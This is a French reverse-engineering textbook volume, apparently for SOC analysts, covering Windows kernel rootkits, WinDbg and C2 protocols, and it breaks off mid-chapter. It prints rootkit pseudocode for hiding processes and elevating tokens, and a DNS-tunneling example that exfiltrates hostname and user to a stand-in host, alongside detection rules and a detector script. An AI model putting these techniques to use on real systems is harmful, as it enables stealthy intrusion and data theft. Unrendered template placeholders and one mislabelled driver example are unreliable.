# REVERSE ENGINEERING

## Volume 3 — Niveau Expert

**EXPERT — KERNEL · APT · THREAT INTEL · RE INDUSTRIEL**

Kernel-mode RE : drivers Windows, rootkits, DKOM et SSDT hooks
WinDbg kernel debugging : attacher, analyser, comprendre le noyau
Analyse de firmware : UEFI, BIOS implants, BootKit
Protocoles C2 avancés : DNS tunneling, ICMP, stéganographie
Attribution et Threat Intelligence : fingerprinting, clustering, pivoting
RE des protocoles réseau : décoder des protocoles C2 custom
Analyse d'exploits : comprendre un exploit en lisant son shellcode
Macros Office et documents malveillants : Word, Excel, PDF
Supply Chain attacks : détecter des backdoors dans du code source
Construire un lab CTI complet : MISP, TheHive, Cortex automatisés
Case studies APT réels : analyser les TTP de groupes documentés
Devenir meilleur : méthodologie, ressources, carrière

# Table des matières

## 1. Kernel-mode RE — Drivers, Rootkits et le Noyau Windows

1.1 User-mode vs Kernel-mode : la frontière fondamentale
1.2 Anatomie d'un driver Windows (.sys)
1.3 WinDbg : le debugger du noyau
1.4 Analyser un driver dans Ghidra : spécificités kernel
1.5 Rootkits : SSDT hooking, DKOM, IRP hooks
1.6 Détecter un rootkit depuis l'user-mode
1.7 Cas pratique : analyser un rootkit DKOM
1.8 Drivers légitimes utilisés malicieusement (BYOVD)

## 2. WinDbg Kernel Debugging — Maîtriser le Debugger du Noyau

2.1 Configuration du kernel debugging (VM + serial ou network)
2.2 Les commandes WinDbg essentielles
2.3 Analyser la mémoire kernel : objets, pools, listes
2.4 Breakpoints kernel et tracing de syscalls
2.5 Analyser un crash dump : comprendre les BSOD
2.6 Scripts WinDbg en JavaScript (dx commands)
2.7 Détecter les hooks kernel avec WinDbg

## 3. Protocoles C2 Avancés — Décoder les Communications Cachées

3.1 Architecture des C2 modernes : tiered infrastructure
3.2 DNS tunneling : comment ça marche, comment le détecter
3.3 C2 over HTTPS : distinguer traffic légitime du C2
3.4 Stéganographie réseau : données cachées dans le protocole
3.5 Domain Fronting : comment et pourquoi
3.6 Décoder un protocole C2 custom : méthodologie
3.7 Cas pratique : reverse-engineer un protocole binaire
3.8 Écrire un parser de protocole en Python

## 4. Analyse de Documents Malveillants

4.1 Macros VBA Office : anatomie et analyse
4.2 Outils : olevba, oletools, ViperMonkey
4.3 Macros XLM Excel 4.0 : la résurgence
4.4 PDF malveillants : JavaScript, exploits, shellcode
4.5 Analyse avec peepdf et pdf-parser
4.6 OneNote et les vecteurs modernes
4.7 HTML Smuggling : comment les fichiers contournent les proxies
4.8 Cas pratique : analyser une macro VBA obfusquée de A à Z

## 5. Threat Intelligence et Attribution

5.1 Qu'est-ce que la Threat Intelligence réellement
5.2 Clustering de malwares : code similarity, imphash, SSDEEP
5.3 Fingerprinting d'outillage : reconnaître un C2 framework

5.4 Pivoting sur les IOCs : de l'IP au groupe APT
5.5 Diamond Model et ATT&CK; pour l'attribution
5.6 Open Source Intelligence pour la CTI
5.7 MISP : partager la threat intel
5.8 Cas pratique : relier un sample à un groupe APT documenté

## 6. RE d'Exploits — Comprendre ce qu'un Exploit Fait

6.1 Pourquoi analyser des exploits en SOC
6.2 Memory corruption : buffer overflow, use-after-free en pseudo-code
6.3 Lire un exploit : identifier les primitives
6.4 Analyse de shellcode post-exploitation
6.5 CVE analysis : de l'advisory au code
6.6 Cas pratique : analyser un exploit EternalBlue simplifié

## 7. Analyse de Firmware et UEFI

7.1 Le firmware : la couche en dessous de l'OS
7.2 Extraire et analyser un firmware UEFI
7.3 Implants UEFI : comment ils persistent sous l'OS
7.4 Outils : Binwalk, UEFITool, Chipsec
7.5 Détecter un implant UEFI
7.6 BootKit : infection du MBR/VBR

## 8. RE à l'Échelle Industrielle

8.1 Triage de milliers de samples : architecture
8.2 Clustering automatique avec Minhash et LSH
8.3 Machine Learning appliqué au RE malware
8.4 Pipelines Ghidra headless à grande échelle
8.5 Base de données de signatures : FLIRT à grande échelle
8.6 Intégration complète : SIEM + SOAR + CTI

## 9. Case Studies APT — Analyser des Malwares Réels de Groupes Documentés

9.1 Méthodologie d'un case study APT
9.2 APT29 (Cozy Bear) : techniques et outillage
9.3 Lazarus Group : loaders et multi-stage
9.4 APT41 : dual espionage/cybercrime
9.5 FIN7 : l'industrialisation du cybercrime
9.6 Lire les rapports d'attribution et les enrichir

## 10. Devenir Meilleur — Méthodologie, Carrière et Ressources

10.1 Construire une expertise solide : les pièges à éviter
10.2 Le lab CTI idéal : MISP, TheHive, Cortex
10.3 Certifications et formations qui comptent
10.4 Contribuer à la communauté : publications, CVE, partage d'IOCs
10.5 Ressources expertises par domaine
10.6 Roadmap sur 12 mois pour atteindre le niveau senior

CHAPITRE 1

# Kernel-mode RE

Drivers Windows, rootkits, DKOM, SSDT hooks — descendre sous l'OS

## 1.1 User-mode vs Kernel-mode : la frontière fondamentale

Tous les programmes que tu as analysés dans les volumes 1 et 2 tournent en user-mode : ring 3 dans la terminologie x86. Le processeur applique des restrictions strictes : le code user-mode ne peut pas accéder directement au matériel, ne peut pas modifier les tables système, et ne peut pas lire la mémoire d'autres processus sans passer par des APIs kernel.

Le kernel-mode (ring 0) est le niveau où tourne le noyau Windows. Un code en ring 0 peut tout faire : lire et écrire la mémoire de n'importe quel processus directement, modifier les structures système (SSDT, IDT, GDT), intercepter toutes les syscalls, masquer des processus et des fichiers. C'est pourquoi les rootkits cherchent à obtenir l'exécution kernel.

La frontière entre ring 3 et ring 0 passe par les syscalls. Quand un programme appelle {ic('ReadFile()')}, voici ce qui se passe réellement : ReadFile (kernel32.dll) appelle NtReadFile (ntdll.dll), qui place le numéro de syscall dans EAX et exécute {ic('SYSCALL')} (ou {ic('SYSENTER')} en 32 bits), le CPU bascule en ring 0 et le contrôle passe au kernel Windows, le kernel exécute la vraie lecture et retourne le résultat, le CPU rebascule en ring 3 et l'exécution reprend dans ntdll.dll.

Pour l'analyste RE, cette architecture est importante à deux niveaux. D'abord, les numéros de syscall changent entre chaque version de Windows (ils sont différents sur Windows 7, 10, et 11). Un malware qui utilise des syscalls directs (sans passer par ntdll.dll) bypasse les hooks user-mode des AV et des EDR. C'est la technique dite 'direct syscall'. Ensuite, un driver malveillant en ring 0 est pratiquement impossible à détecter et à éradiquer depuis l'user-mode — il faut analyser et intervenir au niveau kernel.

## 1.2 Anatomie d'un driver Windows

Un driver Windows est un fichier .sys — en fait un PE standard, mais avec quelques différences par rapport à un EXE. Il n'a pas de fonction main(). Il a une fonction {ic('DriverEntry')} qui est l'équivalent du main, appelée par le kernel lors du chargement du driver. Il expose des fonctions de dispatch pour gérer les requêtes IRP. Et il peut définir des hooks sur les structures kernel.

### La fonction DriverEntry

DriverEntry a une signature fixe : `NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)`. Dans Ghidra, c'est le point d'entrée que tu analyses en premier. Elle reçoit un pointeur vers un objet driver (structure DRIVER_OBJECT), et la première chose que font la plupart des drivers est de remplir les champs de dispatch de cet objet avec les pointeurs vers leurs handlers.

**Anatomie d'un DriverEntry malveillant**

```
; Structure DRIVER_OBJECT (simplifiée) — ce que voit Ghidra

; typedef struct _DRIVER_OBJECT {
;   CSHORT Type;                          // +0x000
;   CSHORT Size;                          // +0x002
;   PDEVICE_OBJECT DeviceObject;           // +0x008 - devices créés par ce driver
;   ULONG Flags;                           // +0x010
;   PVOID DriverStart;                     // +0x018 - adresse base du driver
;   ULONG DriverSize;                      // +0x020
;   PDRIVER_UNLOAD DriverUnload;           // +0x070 - appelé au déchargement
;   PDRIVER_DISPATCH MajorFunction[28];    // +0x078 - tableau de dispatch handlers
; } DRIVER_OBJECT;

; Dans un driver malveillant, DriverEntry typique :
mov  rcx, [DriverObject]            ; RCX = DRIVER_OBJECT*
; Remplir les handlers IRP
lea  rax, [dispatch_create]         ; Handler pour IRP_MJ_CREATE (open device)
mov  [rcx + 0x78 + 0*8], rax        ; MajorFunction[IRP_MJ_CREATE]
lea  rax, [dispatch_device_control] ; Handler pour IOCTL
mov  [rcx + 0x78 + 14*8], rax       ; MajorFunction[IRP_MJ_DEVICE_CONTROL]
lea  rax, [driver_unload]
mov  [rcx + 0x70], rax              ; DriverUnload

; Créer un device pour la communication user <-> kernel
lea  rdx, [device_name]             ; '\Device\MalwareDriver'
call IoCreateDevice

; Créer un symlink accessible depuis user-mode
lea  rcx, [symlink_name]            ; '\\.\MalwareDriver' (accessible via CreateFile)
lea  rdx, [device_name]
call IoCreateSymbolicLink

; → Maintenant user-mode peut ouvrir '\\.\MalwareDriver' et
; envoyer des IOCTLs pour interagir avec le driver
```

## Les IRP (I/O Request Packets)

La communication kernel se fait via des IRP (I/O Request Packets). Chaque opération (open, read, write, ioctl, close) génère un IRP que le kernel route vers le bon handler du driver. Pour un analyste, les handlers IRP les plus intéressants sont : {ic('IRP_MJ_DEVICE_CONTROL')} (IOCTL — les commandes envoyées depuis user-mode) et {ic('IRP_MJ_CREATE')} (quand le driver est ouvert pour la première

fois). Le handler IOCTL est le 'dispatcher de commandes' du driver — c'est là que se trouve la logique principale.

**IOCTL dispatcher d'un rootkit — pseudocode annoté**

```
; Handler IRP_MJ_DEVICE_CONTROL d'un rootkit typique
; C'est l'équivalent du 'command dispatcher' d'un RAT, mais côté kernel

; NTSTATUS dispatch_device_control(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
;   PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
;   ULONG ioctl_code = stack->Parameters.DeviceIoControl.IoControlCode;

; switch (ioctl_code) {
;   case 0x222000:  // IOCTL_HIDE_PROCESS
;     ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
;     hide_process_dkom(pid);
;     break;

;   case 0x222004:  // IOCTL_ELEVATE_TOKEN
;     ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
;     elevate_token_to_system(pid);
;     break;

;   case 0x222008:  // IOCTL_HIDE_FILE
;     WCHAR* path = (WCHAR*)Irp->AssociatedIrp.SystemBuffer;
;     hook_irp_callbacks(path);
;     break;

;   default:
;     status = STATUS_INVALID_DEVICE_REQUEST;
; }

; → Les codes IOCTL sont tes IOCs pour un driver malveillant
; → Chaque case correspond à une capacité du rootkit
; → Le usermode malware envoie ces IOCTLs via DeviceIoControl()
```

## 1.3 WinDbg : le debugger du noyau

WinDbg est le debugger Microsoft pour le kernel. C'est l'outil incontournable pour analyser le noyau Windows en temps réel : inspecter les structures kernel, tracer les syscalls, analyser les crash dumps. Contrairement à x64dbg (user-mode uniquement), WinDbg peut attacher au kernel d'une VM et déboguer le noyau comme tu débogueras un programme.

Pour l'analyse de malwares, WinDbg est utilisé principalement pour deux cas : l'analyse de drivers malveillants en live (kernel debugging d'une VM sandbox), et l'analyse de crash dumps BSOD produits

par un malware kernel. Le crash dump contient un snapshot complet de l'état du kernel au moment du crash — y compris la mémoire des processus et les structures kernel.

### Configuration du kernel debugging par réseau (Windows 10/11)

**Configuration du kernel debugging réseau**

```
; Configuration côté VM cible (à faire UNE FOIS dans la VM sandbox)
; Commandes en PowerShell administrateur dans la VM :

; Activer le kernel debugging par réseau
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.100 port:50001 key:1.2.3.4
; hostip = IP de ta machine hôte (où tourne WinDbg)
; port   = port TCP arbitraire
; key    = clé d'authentification (arbitraire)

; Redémarrer la VM
shutdown /r /t 0

; Côté machine hôte (où tu fais l'analyse) :
; Lancer WinDbg Preview (depuis le Microsoft Store, version moderne)
; File → Attach to kernel → Net
; Port: 50001, Key: 1.2.3.4

; WinDbg attend la connexion...
; La VM démarre et WinDbg se connecte au noyau
; Tu peux maintenant break (Ctrl+Break) pour arrêter le kernel

; Vérifier que ça fonctionne :
kd> vertarget       ; Version du noyau de la VM
kd> !process 0 0    ; Lister tous les processus
kd> lm              ; Lister les modules kernel chargés
```

## 1.4 Analyser un driver dans Ghidra : spécificités kernel

Importer un .sys dans Ghidra est identique à importer un .exe. Mais quelques ajustements sont nécessaires pour l'analyse kernel.

D'abord, charge les types Windows kernel dans Ghidra. Par défaut, Ghidra connaît les types user-mode (HANDLE, LPWSTR, etc.) mais pas les types kernel (DRIVER_OBJECT, DEVICE_OBJECT, PIRP, NTSTATUS). Solution : Windows Driver Kit inclut des headers C avec toutes ces structures. Tu peux les importer dans Ghidra via le Data Type Manager ou utiliser le plugin 'ghidra-uefi' qui inclut beaucoup de types WDK.

Ensuite, le point d'entrée est {ic('DriverEntry')}, pas {ic('main')}. Cherche dans Symbol Tree la fonction à l'AddressOfEntryPoint. Sa signature est {ic('NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING)')}. Applique ce type dans Ghidra pour que le pseudocode soit immédiatement lisible.

### Les fonctions kernel à connaître en analyse

En kernel-mode, les fonctions système sont dans ntoskrnl.exe (le kernel), hal.dll (Hardware Abstraction Layer), et d'autres drivers. Les imports d'un driver révèlent ses capacités, exactement comme en user-mode. Voici les imports kernel qui doivent attirer ton attention :

- `PsLookupProcessByProcessId` : Obtenir un EPROCESS depuis un PID. Première étape du DKOM pour cacher un processus.
- `PsGetProcessPeb` : Accéder au PEB depuis kernel-mode. Utilisé pour lire/modifier des structures user-mode.
- `ZwTerminateProcess` : Tuer un processus depuis kernel-mode. Contourne tous les checks user-mode.
- `MmMapLockedPagesSpecifyCache` : Mapper de la mémoire physique en virtual. Utilisé par les rootkits sophistiqués.
- `KeServiceDescriptorTable` : Accès direct à la SSDT (table des syscalls). Rootkit de première génération.
- `PsSetCreateProcessNotifyRoutine` : Callback à chaque création de processus. Utilisé par certains rootkits et les EDRs.
- `ObRegisterCallbacks` : Hooker les opérations sur objets kernel (process, thread). Les EDRs utilisent ça aussi.
- `IoCreateDevice / IoCreateSymbolicLink` : Créer un device accessible depuis user-mode — interface de communication du rootkit.
- `ExAllocatePoolWithTag` : Allouer de la mémoire dans le pool kernel. Tag unique = IOC pour identifier le driver.

## 1.5 Rootkits : SSDT hooking, DKOM et IRP hooks

### SSDT Hooking — intercepter toutes les syscalls

La SSDT (System Service Descriptor Table) est un tableau de pointeurs vers les fonctions kernel qui implémentent les syscalls. Quand un processus user-mode appelle {ic('NtOpenProcess')}, le kernel lit la SSDT[index_NtOpenProcess] pour trouver l'adresse de la vraie fonction. Un rootkit SSDT hook remplace ces pointeurs par ses propres fonctions, qui peuvent filtrer ou modifier les résultats.

Par exemple, un rootkit hook {ic('NtQuerySystemInformation')} (utilisé par le Task Manager pour lister les processus). Sa version hookée supprime son propre processus de la liste retournée. Résultat : le processus malveillant est invisible dans le Task Manager.

**Note importante :** le SSDT hooking est bloqué par PatchGuard (KPP) sur Windows 64 bits depuis Windows Vista. PatchGuard vérifie périodiquement l'intégrité des structures critiques du kernel (SSDT, IDT, GDT, etc.) et déclenche un BSOD si une modification est détectée. Les rootkits modernes doivent soit désactiver PatchGuard, soit utiliser des techniques alternatives.

## DKOM — Direct Kernel Object Manipulation

DKOM est la technique la plus utilisée par les rootkits modernes sur Windows 64 bits. Au lieu de hooker des fonctions, le rootkit manipule directement les structures de données kernel. La technique la plus classique : supprimer un processus de la liste chaînée EPROCESS.

**DKOM — Masquer un processus : code annoté**

```
; DKOM — Masquer un processus en le retirant de la liste EPROCESS

; Chaque processus Windows a une structure EPROCESS en mémoire kernel
; Les processus sont chainés via le champ ActiveProcessLinks (doubly-linked list)
; En retirant un EPROCESS de cette liste, le processus devient invisible
; pour tous les outils qui parcourent cette liste (Task Manager, PS, etc.)

; Pseudocode d'un rootkit DKOM :

; // Trouver l'EPROCESS du processus à cacher
; PEPROCESS target_process;
; PsLookupProcessByProcessId((HANDLE)target_pid, &target_process);

; // Accéder au champ ActiveProcessLinks
; // Sur Windows 10 x64, offset = 0x448 (varie selon version !)
; PLIST_ENTRY entry = (PLIST_ENTRY)((ULONG_PTR)target_process + 0x448);

; // Retirer de la liste chaînée (unlink)
; PLIST_ENTRY prev = entry->Blink;
; PLIST_ENTRY next = entry->Flink;
; prev->Flink = next;    // prev.next → notre next (on saute notre processus)
; next->Blink = prev;    // next.prev → notre prev
; // entry->Flink et Blink pointent maintenant vers entry lui-même (liste vide circulai
re)
; entry->Flink = entry;
; entry->Blink = entry;

; // Résultat : le processus continue de tourner (scheduler ne se base pas sur
; //   ActiveProcessLinks) mais n'apparaît plus dans les listings

; COMMENT DÉTECTER DKOM :
; - Comparer la liste ActiveProcessLinks avec les résultats des callbacks
;   PsSetCreateProcessNotifyRoutine (registrés avant le rootkit)
```

```
; - Comparer avec la PspCidTable (table des handles par PID)
; - Comparer avec les résultats de NtQuerySystemInformation class ProcessBasicInfo
; - Outils : GMER, Process Hacker (détecte les processus non-listés via CSR),
;            Volatility (analyse memory dump offline)
```

### BYOVD — Bring Your Own Vulnerable Driver

BYOVD est une technique APT de plus en plus courante. Plutôt que d'écrire un rootkit custom (difficile, risque BSOD, signé requis), l'attaquant utilise un driver légitime signé qui contient une vulnérabilité permettant une lecture/écriture arbitraire en mémoire kernel.

Le driver légitime et signé est chargé normalement. L'attaquant exploite sa vulnérabilité pour écrire directement en mémoire kernel (modifier la SSDT, unlink un EPROCESS, etc.). Du point de vue de l'OS, c'est un driver légitime signé qui tourne — aucune alarme.

Exemples réels documentés : `RTCore64.sys` (MHYPROT2 — anti-cheat Genshin Impact), `iqvw64e.sys` (Intel Network Adapter Diagnostic Driver), `dbutil_2_3.sys` (Dell BIOS Update). La LOLBAS (LOLDrivers) repository liste les drivers vulnérables connus : https://www.loldrivers.io/

## 1.6 Détecter un rootkit depuis l'user-mode

Un rootkit kernel bien implémenté est très difficile à détecter depuis l'user-mode — c'est justement son but. Mais il y a des approches qui fonctionnent encore :

**Cross-view detection :** comparer plusieurs sources d'information. Si la liste de processus via {ic('NtQuerySystemInformation')} est différente de la liste obtenue via {ic('CreateToolhelp32Snapshot')} ou via les handles dans le kernel (NtQueryObject) → quelque chose manipule une des listes. C'est exactement ce que fait GMER et Process Hacker 3.

**Memory forensics offline :** Dump la mémoire physique de la machine (via WinPmem ou un hardware device), et analyse-la offline avec Volatility ou Rekall. Ces outils travaillent sur des structures mémoire brutes et ne passent pas par les APIs Windows hookées.

**Volatility 3 — Détection de rootkit sur memory dump**

```
# Volatility 3 — Analyser un memory dump pour détecter DKOM

# Installation
pip install volatility3 --break-system-packages

# Prendre un memory dump (dans la VM sandbox)
# WinPmem : winpmem_mini_x64.exe -o memdump.raw

# Analyser avec Volatility
# Lister les processus via EPROCESS chain (liste officielle)
vol -f memdump.raw windows.pslist.PsList
```

```
# Lister via scan des pools (cherche la signature EPROCESS dans tout le dump)
vol -f memdump.raw windows.psscan.PsScan

# Comparer les deux : un processus dans psscan mais pas pslist = DKOM !

# Détecter les hooks SSDT
vol -f memdump.raw windows.ssdt.SSDT
# Affiche les entrées SSDT qui ne pointent pas dans ntoskrnl = hooks

# Lister les drivers chargés
vol -f memdump.raw windows.modules.Modules

# Chercher un driver non-listé (DKOM sur les modules aussi)
vol -f memdump.raw windows.modscan.ModScan

# Analyser les callbacks kernel (PsSet...NotifyRoutine)
vol -f memdump.raw windows.callbacks.Callbacks
# → Montre tous les callbacks enregistrés avec leur adresse
# → Un callback dont l'adresse pointe hors de tous les modules connus = suspect
```

CHAPITRE 2

# WinDbg Kernel Debugging

Maîtriser le debugger du noyau Windows — commandes, structures, crash dumps

## 2.1 Les commandes WinDbg essentielles

WinDbg a deux modes de commandes : les commandes normales (comme les commandes de debugger standard) et les commandes d'extension ({ic('!')}). Les extensions (comme {ic('!process')}, {ic('!irp')}, {ic('!thread')}) sont des plugins qui interprètent les structures kernel et affichent des informations formatées.

**WinDbg — Référence des commandes essentielles**

```
; WinDbg — Commandes essentielles pour l'analyse kernel

; === Navigation et état ===
g                           ; Run (Go) — reprend l'exécution
Ctrl+Break                  ; Break — arrête l'exécution
k                           ; Stack trace du thread courant
kb                          ; Stack trace avec args
kv                          ; Stack trace verbose
~                           ; Lister les threads
~0s                         ; Switcher vers le thread 0

; === Processus et threads ===
!process 0 0                ; Lister tous les processus (complet)
!process 0 7                ; Lister avec détails threads
.process /p /r <eprocess>   ; Switcher vers un processus (charge les symboles)
!thread <ethread>           ; Afficher un thread
!dml_proc                   ; Version clickable de la liste processus

; === Mémoire ===
db <addr>                   ; Dump bytes
dw <addr>                   ; Dump words (16 bits)
dd <addr>                   ; Dump dwords (32 bits)
dq <addr>                   ; Dump qwords (64 bits)
da <addr>                   ; Dump ASCII string
du <addr>                   ; Dump Unicode string
dp <addr>                   ; Dump pointeurs
dps <addr>                  ; Dump pointeurs avec symboles
```

```
s -b <start> <end> <bytes>  ; Chercher des bytes en mémoire

; === Structures kernel ===
dt nt!_EPROCESS             ; Afficher la définition de EPROCESS
dt nt!_EPROCESS <addr>      ; Afficher une instance EPROCESS
dt -r nt!_EPROCESS <addr>   ; Récursif (affiche les sous-structures)
dx (nt!_EPROCESS*)0x<addr>  ; Syntaxe moderne (dx = debugger extended)

; === Drivers et modules ===
lm                          ; Lister les modules chargés
lmvm <module>               ; Infos détaillées sur un module
!drvobj <driver_obj>        ; Afficher un DRIVER_OBJECT
!devobj <device_obj>        ; Afficher un DEVICE_OBJECT
!irp <irp_addr>             ; Afficher un IRP

; === Breakpoints kernel ===
bp nt!NtOpenProcess         ; BP sur une fonction kernel
bp <module>!<fonction>      ; BP sur une fonction dans un module spécifique
ba e1 <addr>                ; Hardware BP execute sur 1 byte
ba r4 <addr>                ; Hardware BP lecture/écriture sur 4 bytes
bl                          ; Lister les breakpoints
bc *                        ; Supprimer tous les BPs
```

## 2.2 Analyser un crash dump BSOD

Un BSOD (Blue Screen of Death) est souvent le résultat d'un driver buggy ou malveillant. Windows génère automatiquement un crash dump dans {ic('C:\Windows\MEMORY.DMP')} (full dump) ou {ic('C:\Windows\Minidump\')} (mini dump). Analyser ce dump te permet de comprendre exactement ce qui s'est passé, quelle instruction a causé le crash, et quel driver en est responsable.

**WinDbg — Analyser un BSOD causé par un malware**

```
; WinDbg — Analyser un crash dump BSOD

; Ouvrir le dump dans WinDbg :
; File → Open crash dump → MEMORY.DMP

; Première commande : !analyze -v (analyse automatique)
!analyze -v

; Sortie typique :
; DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
; Attempt was made to access pageable memory at a process IRQL that was too high.
; FAULT_IN_NONPAGED_AREA
```

```
; FAULTING_IP: malicious_driver+12a0
; malicious_driver+0x12a0 :
;   mov rax, [r11]   ; CRASH ICI - accès à adresse invalide

; Identifier le driver fautif
!stack                  ; Stack trace au moment du crash
ln <crash_address>      ; Quel symbole correspond à cette adresse ?

; Regarder le module
lmvm malicious_driver   ; Infos sur le driver : chemin, taille, timestamp

; Analyser le contexte du crash
r                       ; Registres au moment du crash
kb                      ; Call stack complet
!pte <adresse_faulting> ; Analyser la table de pages (détecter la cause)

; Chercher des artefacts du rootkit dans le dump
!drvobj malicious_driver!DriverObject  ; Voir les IRPs hooks

; Chercher des strings dans la mémoire kernel
s -u 0 0xFFFFFFFFFFFFFFFF 'malware_mutex'  ; Chercher une string unicode partout
```

## 2.3 Scripts WinDbg en JavaScript (dx et LINQ)

WinDbg moderne (Preview) supporte JavaScript comme langage de script et la syntaxe {ic('dx')} avec LINQ pour interroger les structures kernel de façon puissante. C'est beaucoup plus expressif que les vieilles commandes WinDbg.

**WinDbg dx — Scripts LINQ pour l'analyse kernel**

```
; Syntaxe dx (Data Model Extension) — WinDbg moderne

; Lister tous les processus avec leur PID
dx @$cursession.Processes.Select(p => new { PID = p.Id, Name = p.Name })

; Trouver un processus par nom
dx @$cursession.Processes.Where(p => p.Name == 'malware.exe')

; Lister les modules chargés dans un processus
dx @$cursession.Processes[1234].Modules

; Lister les threads d'un processus avec leur état
dx @$cursession.Processes[1234].Threads

; Analyser tous les drivers chargés et chercher des irrégularités
dx @$cursession.Devices.DeviceTree
```

```
; Script JavaScript complet pour trouver des processus cachés par DKOM
; (comparer PspCidTable avec ActiveProcessLinks)
// À sauvegarder dans un fichier .js et loader avec .scriptload

// function detectDKOM() {
//     let processes_from_list = [];
//     let cursor = host.namespace.Debugger.Sessions[0].Processes;
//     for (let proc of cursor) {
//         processes_from_list.push(proc.Id);
//     }
//     // Comparer avec PspCidTable...
//     host.diagnostics.debugLog('Processus dans la liste : ' + processes_from_list.length);
// }
```

CHAPITRE 3

# Protocoles C2 Avancés

DNS tunneling, HTTPS steganography, protocoles binaires custom — décoder les communications cachées

## 3.1 Architecture des C2 modernes

Les C2 (Command and Control) modernes utilisés par les APTs ont évolué loin du simple 'appel à une IP hardcodée sur le port 4444'. L'infrastructure est maintenant en couches (tiered), redondante, et conçue pour résister au blocage d'IOCs. Comprendre cette architecture t'aide à savoir ce que tu cherches lors d'une analyse.

Architecture tiered typique d'un APT : Tier 1 (redirecteurs) : serveurs VPS loués pour quelques semaines, configurés pour relayer le trafic vers le Tier 2. Leurs IPs brûlent vite. Tier 2 (listeners) : serveurs qui reçoivent les connexions des implants, moins exposés, changent moins souvent. Tier 3 (infrastructure de gestion) : l'opérateur se connecte ici pour envoyer des commandes. Jamais exposé directement aux implants. Résultat : bloquer une IP Tier 1 ne compromet pas l'infrastructure entière.

Les techniques d'évasion réseau les plus courantes des APTs : Domain Generation Algorithm (DGA) pour générer des milliers de domaines potentiels, Domain Fronting pour cacher la vraie destination derrière un CDN légitime, C2 over HTTPS avec des faux profils (User-Agent légitime, URI qui ressemble à du traffic normal), DNS tunneling pour exfiltrer via des requêtes DNS (souvent bloquées en dernier), et fast-flux DNS (rotation rapide des IPs pour éviter le blacklisting).

## 3.2 DNS Tunneling — anatomie complète

Le DNS tunneling encode des données dans des requêtes et réponses DNS. C'est une technique de C2 difficile à bloquer car le DNS est rarement filtré complètement en entreprise (les postes ont besoin de résoudre des noms). Les données sont encodées dans les sous-domaines des requêtes DNS (la limite est 63 caractères par label, 253 caractères au total).

**DNS Tunneling — Mécanisme et détection**

```
; DNS Tunneling — Exemple de communication C2

; Le malware veut exfiltrer la string 'hostname=DESKTOP-X7K;user=Admin'
; Étape 1 : Encoder en base32 (compatible DNS — pas de caractères spéciaux)
; 'hostname=DESKTOP-X7K;user=Admin' → base32 → 'NBSWY3DPEB3W6...'

; Étape 2 : Découper en chunks de 30 chars (safe pour DNS label)
; Chunk 1: 'NBSWY3DPEB3W64TMMFZXI2C'
; Chunk 2: 'MJQXG2LOM5SA'
```

```
; Étape 3 : Construire les requêtes DNS
; 1.NBSWY3DPEB3W64TMMFZXI2C.c2.evil.ru  → type TXT
; 2.MJQXG2LOM5SA.c2.evil.ru              → type TXT

; Côté serveur C2 (contrôle evil.ru) :
; Le serveur DNS autoritaire pour evil.ru est contrôlé par l'attaquant
; Il reçoit ces requêtes, décode le base32, reconstruit le message
; Il répond via le champ TXT de la réponse DNS (commandes encodées)

; DÉTECTION dans Wireshark / Zeek :
; - Volume anormal de requêtes DNS vers un même domaine
; - Sous-domaines très longs (> 40 chars) et aléatoires
; - Pas de cache DNS (chaque requête est unique → pas de réponse cached)
; - Requêtes de type TXT (peu courant en navigation normale)
; - Entropie élevée dans les labels DNS

; Règle Sigma pour détecter DNS tunneling :
; detection:
;   selection:
;     dns.question.name|re: '[A-Z2-7]{30,}\.[a-z0-9-]+\.[a-z]{2,4}'
;   condition: selection

; Outils d'analyse : DNScat2 (client/serveur de tunnel DNS),
; iodine, dnsmorph pour tester
; Détecteur : ja3, zeek, ou script Python ci-dessous
```

**Détecteur DNS tunneling en Python**

```python
# Détecteur de DNS tunneling Python — analyse un pcap Wireshark
# pip install scapy --break-system-packages

from scapy.all import rdpcap, DNSQR, DNSRR, DNS
from collections import defaultdict
import math, base64

def entropy(s):
    if not s: return 0
    p = [s.count(c)/len(s) for c in set(s)]
    return -sum(x * math.log2(x) for x in p)

def analyze_pcap_for_dns_tunnel(pcap_file):
    packets = rdpcap(pcap_file)
    dns_queries = defaultdict(list)  # domain → [query_names]

    for pkt in packets:
```

```
        if pkt.haslayer(DNSQR):
            qname = pkt[DNSQR].qname.decode(errors='replace').rstrip('.')
            labels = qname.split('.')

            # Le sous-domaine = tout sauf les 2 derniers labels
            if len(labels) >= 3:
                subdomain = '.'.join(labels[:-2])
                apex = '.'.join(labels[-2:])
                dns_queries[apex].append(subdomain)

    print('=== Analyse DNS Tunneling ===')
    for apex, subdomains in dns_queries.items():
        if len(subdomains) < 5: continue

        # Métriques d'anomalie
        avg_length = sum(len(s) for s in subdomains) / len(subdomains)
        unique_ratio = len(set(subdomains)) / len(subdomains)
        avg_entropy = sum(entropy(s) for s in subdomains) / len(subdomains)

        score = 0
        reasons = []
        if avg_length > 25:     score += 3; reasons.append(f'Long labels ({avg_length:.
1f} avg)')
        if unique_ratio > 0.9:  score += 2; reasons.append('Presque pas de répétitions'
)
        if avg_entropy > 3.5:   score += 2; reasons.append(f'Entropie élevée ({avg_entr
opy:.2f})')
        if len(subdomains) > 50:score += 1; reasons.append(f'{len(subdomains)} requêtes
')

        if score >= 4:
            print(f'[!] SUSPECT : {apex}')
            for r in reasons: print(f'    → {r}')
            print(f'    Exemple : {subdomains[0]}')

            # Essayer de décoder comme base32
            try:
                combined = ''.join(subdomains)
                decoded = base64.b32decode(combined.upper() + '=' * (8 - len(combined)
% 8))
                print(f'    Base32 decoded : {decoded[:100]}')
            except:
                pass
```

```
analyze_pcap_for_dns_tunnel('capture.pcap')
```

## 3.3 Décoder un protocole C2 custom : méthodologie

Certains malwares sophistiqués implémentent leur propre protocole de communication au lieu d'utiliser HTTP standard. Ce protocole peut être binaire (plus efficace, plus difficile à détecter) ou texte (plus facile à implémenter, mais aussi à détecter). Décoder ce protocole te permet de comprendre les commandes et les données exfiltrées.

### Étape 1 : Capture et identification

